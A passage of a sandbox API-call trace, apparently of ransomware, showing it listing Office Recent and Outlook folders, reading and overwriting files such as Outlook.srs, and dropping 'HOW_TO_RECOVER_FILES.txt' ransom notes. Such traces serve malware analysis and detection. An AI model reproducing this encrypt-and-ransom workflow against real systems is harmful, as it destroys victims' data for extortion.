dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.841] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7631bb1a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x764e57d2, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x764e57d2, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="con2.LNK", cAlternateFileName="")) returned 1 [0247.841] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f06972b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9db38c07, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9db5ee53, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x447, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.LNK", cAlternateFileName="DATABA~1.LNK")) returned 1 [0247.841] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a21569, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33a21569, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33a477c8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents.LNK", cAlternateFileName="DOCUME~1.LNK")) returned 1 [0247.841] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8b468d, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee9bf3e2, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.LNK", cAlternateFileName="")) returned 1 [0247.841] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x15a7d124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a7d124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xee9bf3e2, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0247.842] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a0aa18, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a0aa18, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a7d124, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0247.842] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.842] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0247.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0247.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0247.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0247.842] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x37 [0247.842] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0247.842] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.842] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7631bb1a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x764e57d2, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x764e57d2, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="con2.LNK", cAlternateFileName="")) returned 1 [0247.843] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f06972b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9db38c07, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9db5ee53, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x447, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.LNK", cAlternateFileName="DATABA~1.LNK")) returned 1 [0247.843] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a21569, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33a21569, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33a477c8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents.LNK", cAlternateFileName="DOCUME~1.LNK")) returned 1 [0247.843] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8b468d, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee9bf3e2, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.LNK", cAlternateFileName="")) returned 1 [0247.843] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x15a7d124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a7d124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xee9bf3e2, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0247.843] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a0aa18, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a0aa18, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a7d124, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0247.843] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a0aa18, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a0aa18, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a7d124, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0247.844] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0247.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0247.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0247.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", lpFilePart=0x0) returned 0x41 [0247.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0247.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x37da358 | out: lpFileInformation=0x37da358*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x15a7d124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a7d124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xee9bf3e2, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x8d)) returned 1 [0247.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0247.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", lpFilePart=0x0) returned 0x41 [0247.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0247.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.844] GetFileType (hFile=0x82c) returned 0x1 [0247.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0247.845] GetFileType (hFile=0x82c) returned 0x1 [0247.845] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x8d [0247.845] ReadFile (in: hFile=0x82c, lpBuffer=0x37da670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x37da670*, lpNumberOfBytesRead=0x204ec2f8*=0x8d, lpOverlapped=0x0) returned 1 [0247.847] CloseHandle (hObject=0x82c) returned 1 [0249.425] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", lpFilePart=0x0) returned 0x41 [0249.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0249.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0249.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0249.480] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0249.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0249.480] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0249.480] GetFileType (hFile=0x808) returned 0x1 [0249.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0249.480] GetFileType (hFile=0x808) returned 0x1 [0249.481] WriteFile (in: hFile=0x808, lpBuffer=0x37ad798*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37ad798*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0249.481] CloseHandle (hObject=0x808) returned 1 [0249.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0249.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0249.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0249.482] GetFileType (hFile=0x808) returned 0x1 [0249.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0249.482] GetFileType (hFile=0x808) returned 0x1 [0249.483] WriteFile (in: hFile=0x808, lpBuffer=0x37b1010*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x37b1010*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0249.483] CloseHandle (hObject=0x808) returned 1 [0249.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0249.483] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x31 [0249.483] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0249.484] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.484] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac358392, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xac358392, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xac4aebd0, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0249.484] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd650107, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x916, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0249.484] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.484] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0249.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0249.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0249.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0249.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x31 [0249.484] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0249.484] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.485] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac358392, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xac358392, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xac4aebd0, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0249.485] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd650107, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x916, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0249.485] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd650107, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x916, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0249.485] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0249.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0249.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0249.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", lpFilePart=0x0) returned 0x3d [0249.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0249.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), fInfoLevelId=0x0, lpFileInformation=0x37c0358 | out: lpFileInformation=0x37c0358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac358392, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xac358392, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xac4aebd0, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1 [0249.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0249.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", lpFilePart=0x0) returned 0x3d [0249.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0249.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.486] GetFileType (hFile=0x808) returned 0x1 [0249.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0249.486] GetFileType (hFile=0x808) returned 0x1 [0249.486] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x204ecdf8 | out: lpFileSizeHigh=0x204ecdf8*=0x0) returned 0xa00 [0249.487] ReadFile (in: hFile=0x808, lpBuffer=0x37c0fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd28, lpOverlapped=0x0 | out: lpBuffer=0x37c0fd0*, lpNumberOfBytesRead=0x204ecd28*=0xa00, lpOverlapped=0x0) returned 1 [0249.488] CloseHandle (hObject=0x808) returned 1 [0249.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", lpFilePart=0x0) returned 0x3d [0249.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0249.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.515] GetFileType (hFile=0x808) returned 0x1 [0249.515] 